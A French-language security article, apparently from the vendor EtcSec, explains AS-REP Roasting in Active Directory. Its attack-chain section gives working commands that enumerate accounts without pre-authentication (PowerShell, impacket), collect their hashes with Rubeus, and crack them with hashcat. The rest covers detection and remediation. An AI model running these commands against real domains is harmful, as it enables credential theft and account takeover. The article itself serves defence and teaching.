Qu'est-ce que l'AS-REP Roasting ?
L'AS-REP Roasting est une attaque Active Directory qui cible les comptes avec la pré-authentification Kerberos désactivée. N'importe quel attaquant, même sans credentials, peut demander une réponse AS-REP pour ces comptes et recevoir un blob chiffré avec leur hash de mot de passe, prêt à être cracké hors ligne.
Contrairement au Kerberoasting, l'AS-REP Roasting ne nécessite aucune credential pour énumérer et exploiter les cibles si l'attaquant a accès réseau au domaine. C'est l'une des attaques les moins coûteuses en Active Directory.
La vulnérabilité provient d'une option Kerberos appelée DONT_REQUIRE_PREAUTH. Quand elle est activée sur un compte, le KDC saute l'étape de pré-authentification et émet directement une AS-REP contenant des données chiffrées avec le hash du compte.
⚠️ Différence clé avec le Kerberoasting : Le Kerberoasting nécessite un compte de domaine valide. L'AS-REP Roasting peut être effectué sans aucune credential, depuis l'extérieur du domaine.
Comment ca fonctionne
Dans Kerberos standard, avant que le KDC n'émette un TGT, le client doit prouver qu'il connaît le mot de passe en envoyant un timestamp chiffré (la pré-authentification AS-REQ). Cela empêche la collecte de hashes hors ligne.
Quand DONT_REQUIRE_PREAUTH est activé, cette étape est sautée. Le KDC répond à n'importe quelle AS-REQ pour ce compte avec une AS-REP contenant une clé de session chiffrée avec le hash NTLM du compte, sans preuve d'identité requise.
L'attaquant extrait ce blob chiffré et le cracke hors ligne pour récupérer le mot de passe en clair.
ℹ️ Note : Le flag
DONT_REQUIRE_PREAUTHest parfois activé intentionnellement pour la compatibilité avec des applications legacy, ou par erreur lors du provisionnement de comptes. Dans les deux cas, il représente une surface d'attaque directe.
La Chaine d'Attaque
Etape 1 - Enumérer les Comptes Vulnérables
# PowerShell
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth, PasswordLastSet |
Select-Object SamAccountName, PasswordLastSet
# Impacket — sans credentials si LDAP le permet
impacket-GetNPUsers corp.local/ -usersfile users.txt -no-pass -dc-ip 10.10.0.1
# Avec un compte de domaine valide
impacket-GetNPUsers corp.local/user:password -request -dc-ip 10.10.0.1
Etape 2 - Collecter les Hashes AS-REP
# Rubeus — énumérer et collecter tous les hashes AS-REP en un passage
.\Rubeus.exe asreproast /format:hashcat /outfile:asrep_hashes.txt
La sortie est au format $krb5asrep$23$..., directement compatible avec Hashcat.
Etape 3 - Cracker Hors Ligne
# Hashcat — mode 18200 pour les hashes AS-REP
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt --rules-file best64.rule
Les hashes AS-REP utilisent RC4 par défaut : des centaines de millions de tentatives par seconde sur un GPU moderne.
Etape 4 - Prise de Contrôle du Compte
Un hash AS-REP cracké donne le mot de passe en clair du compte. L'attaquant peut alors s'authentifier en tant que cet utilisateur et l'utiliser comme pivot pour d'autres attaques.
Détection
L'AS-REP Roasting génère des événements AS-REQ et AS-REP Kerberos sur le DC. La détection est plus fiable que pour le Kerberoasting car l'absence de données de pré-authentification dans l'AS-REQ est un indicateur direct.
Event IDs Windows
| Event ID | Source | Ce qu'il faut surveiller |
|---|---|---|
| 4768 | DC - Security | AS-REQ avec Pre-Authentication Type: 0 — la pré-auth n'a pas été fournie |
| 4768 | DC - Security | Multiples AS-REQ pour différents comptes depuis la même IP source |
Signal de Détection Clé
L'événement 4768 avec Pre-Authentication Type = 0 est l'indicateur le plus clair. Dans un domaine correctement configuré, cela ne devrait jamais apparaître.
💡 Conseil : Un seul événement 4768 avec pre-auth type 0 pour un compte qui l'exige normalement est une alerte de haute confiance. Configurez votre SIEM pour déclencher immédiatement sur ce signal.
Requete SIEM (Elastic KQL)
event.code: "4768" AND
winlog.event_data.PreAuthType: "0" AND
winlog.event_data.Status: "0x0"
Remédiation
💡 Action Rapide : Réactivez la pré-authentification sur tous les comptes qui l'ont désactivée. C'est une correction en une ligne par compte, sans impact utilisateur dans la plupart des cas.
Réactiver la Pré-Authentification
# Correction unitaire
Set-ADAccountControl -Identity vulnerable_user -DoesNotRequirePreAuth $false
# Correction en masse
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} | ForEach-Object {
Set-ADAccountControl -Identity $_ -DoesNotRequirePreAuth $false
Write-Host "Corrigé : $($_.SamAccountName)"
}
Durcissement
- Identifier les comptes vulnérables et vérifier si le flag est légitimement requis :
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties PasswordLastSet, Description |
Select-Object SamAccountName, PasswordLastSet, Description |
Export-Csv comptes_vulnerables_asrep.csv -NoTypeInformation
- Changer les mots de passe des comptes affectés — même si vous réactivez la pré-auth, le hash a peut-être déjà été collecté. Changez-les immédiatement.
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} | Set-ADUser -ChangePasswordAtLogon $true
- Restreindre l'accès LDAP anonyme pour empêcher l'énumération non authentifiée du flag
DONT_REQUIRE_PREAUTH.
Comment EtcSec Détecte Cela
EtcSec signale les comptes avec la pré-authentification Kerberos désactivée lors de chaque audit AD.
La détection ASREP_ROASTING_RISK identifie tous les comptes de votre domaine avec DONT_REQUIRE_PREAUTH activé, qu'ils aient déjà été ciblés ou non. Chaque compte signalé est un credential en attente d'être collecté.
Contrôles associés :
- PASSWORD_NEVER_EXPIRES - comptes avec pré-auth désactivée et mots de passe non expirables : surface d'attaque permanente
- PASSWORD_POLICY_WEAK - politique faible rend le cracking hors ligne plus rapide et plus probable
- WEAK_KERBEROS_POLICY - paramètres Kerberos permissifs étendent la fenêtre d'exploitation
ℹ️ Note : EtcSec vérifie automatiquement ces vulnérabilités lors de chaque audit AD. Lancez un audit gratuit pour identifier les comptes exposés à l'AS-REP Roasting dans votre environnement.
